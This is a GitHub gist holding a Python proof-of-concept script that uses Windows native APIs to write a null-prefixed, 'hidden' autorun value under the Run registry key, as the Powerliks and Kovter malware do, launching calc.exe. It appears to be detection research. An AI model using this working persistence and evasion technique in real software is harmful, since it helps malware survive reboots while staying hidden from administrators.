Skip to content

Instantly share code, notes, and snippets.

@KyleHanslovan
Created June 3, 2016 15:33
Show Gist options
  • Save KyleHanslovan/f26445bfa6a12b98c8c06890793405d7 to your computer and use it in GitHub Desktop.
Save KyleHanslovan/f26445bfa6a12b98c8c06890793405d7 to your computer and use it in GitHub Desktop.
Script which uses Native APIs to create a "hidden" registry value similar to Powerliks and Kovter malware.
from ctypes import *
from ctypes.wintypes import *
import winreg
NTSTATUS = c_long
PVOID = c_void_p
PWSTR = c_wchar_p
OBJ_CASE_INSENSITIVE = 0x00000040
STATUS_SUCCESS = NTSTATUS(0x00000000).value
class UNICODE_STRING(Structure):
_fields_ = [('Length', USHORT),
('MaximumLength', USHORT),
('Buffer', PWSTR)]
class OBJECT_ATTRIBUTES(Structure):
_fields_ = [('Length', ULONG),
('RootDirectory', HANDLE),
('ObjectName', POINTER(UNICODE_STRING)),
('Attributes', ULONG),
('SecurityDescriptor', PVOID),
('SecurityQualityOfService', PVOID)]
def InitializeObjectAttributes(InitializedAttributes,
ObjectName,
Attributes,
RootDirectory=None,
SecurityDescriptor=None):
"""
Initializes the OBJECT_ATTRIBUTES structure which specifies the properties of an object
handle to routines that open handles.
VOID InitializeObjectAttributes(
[out] POBJECT_ATTRIBUTES InitializedAttributes,
[in] PUNICODE_STRING ObjectName,
[in] ULONG Attributes,
[in] HANDLE RootDirectory,
[in, optional] PSECURITY_DESCRIPTOR SecurityDescriptor);
"""
memset(addressof(InitializedAttributes), 0, sizeof(InitializedAttributes))
InitializedAttributes.Length = sizeof(InitializedAttributes)
InitializedAttributes.ObjectName = ObjectName
InitializedAttributes.Attributes = Attributes
InitializedAttributes.RootDirectory = RootDirectory
InitializedAttributes.SecurityDescriptor = SecurityDescriptor
InitializedAttributes.SecurityQualityOfService = None
return
def RtlUnicodeStringInit(DestinationString, Src):
"""
Initializes a UNICODE_STRING structure.
NTSTATUS RtlUnicodeStringInit(
[out] PUNICODE_STRING DestinationString,
[in] PCWSTR pszSrc)
"""
memset(addressof(DestinationString), 0, sizeof(DestinationString))
DestinationString.Buffer = cast(Src, PWSTR)
DestinationString.Length = sizeof(Src)
DestinationString.MaximumLength = DestinationString.Length
return STATUS_SUCCESS
def main():
ntdll = WinDLL('ntdll')
'''
NTSTATUS ZwOpenKey(
_Out_ PHANDLE KeyHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes);
'''
hKey = HANDLE()
DesiredAccess = winreg.KEY_ALL_ACCESS
# Create ObjectName structure
ObjectName = UNICODE_STRING()
strKeyPath = '\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\'
bufKeyPath = create_unicode_buffer(strKeyPath)
NtStatus = RtlUnicodeStringInit(ObjectName, bufKeyPath)
if NtStatus != STATUS_SUCCESS:
raise WindowsError('RtlUnicodeStringInit failed and returned {!r}'.format(NtStatus))
# Create ObjectAttributes structure
ObjectAttributes = OBJECT_ATTRIBUTES()
InitializeObjectAttributes(ObjectAttributes, pointer(ObjectName), OBJ_CASE_INSENSITIVE)
# Get handle to the desired key
NtStatus = ntdll.ZwOpenKey(pointer(hKey), DesiredAccess, ObjectAttributes)
if NtStatus != STATUS_SUCCESS:
raise WindowsError('ZwOpenKey failed and returned {!r}'.format(NtStatus))
'''
NTSTATUS ZwSetValueKey(
_In_ HANDLE KeyHandle,
_In_ PUNICODE_STRING ValueName,
_In_opt_ ULONG TitleIndex,
_In_ ULONG Type,
_In_opt_ PVOID Data,
_In_ ULONG DataSize);
'''
# Create ValueName structure
ValueName = UNICODE_STRING()
strValueName = '\0HuntressLabs'
bufValueName = create_unicode_buffer(strValueName)
NtStatus = RtlUnicodeStringInit(ValueName, bufValueName)
if NtStatus != STATUS_SUCCESS:
raise WindowsError('RtlUnicodeStringInit failed and returned {!r}'.format(NtStatus))
# Write the desired value
TitleIndex = 0
Type = winreg.REG_SZ
Buffer = create_unicode_buffer('calc.exe')
Data = pointer(Buffer)
NtStatus = ntdll.ZwSetValueKey(hKey,
pointer(ValueName),
TitleIndex,
Type,
Data,
sizeof(Buffer))
if NtStatus != STATUS_SUCCESS:
raise WindowsError('ZwSetValueKey failed and returned {!r}'.format(NtStatus))
ntdll.ZwClose(hKey)
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment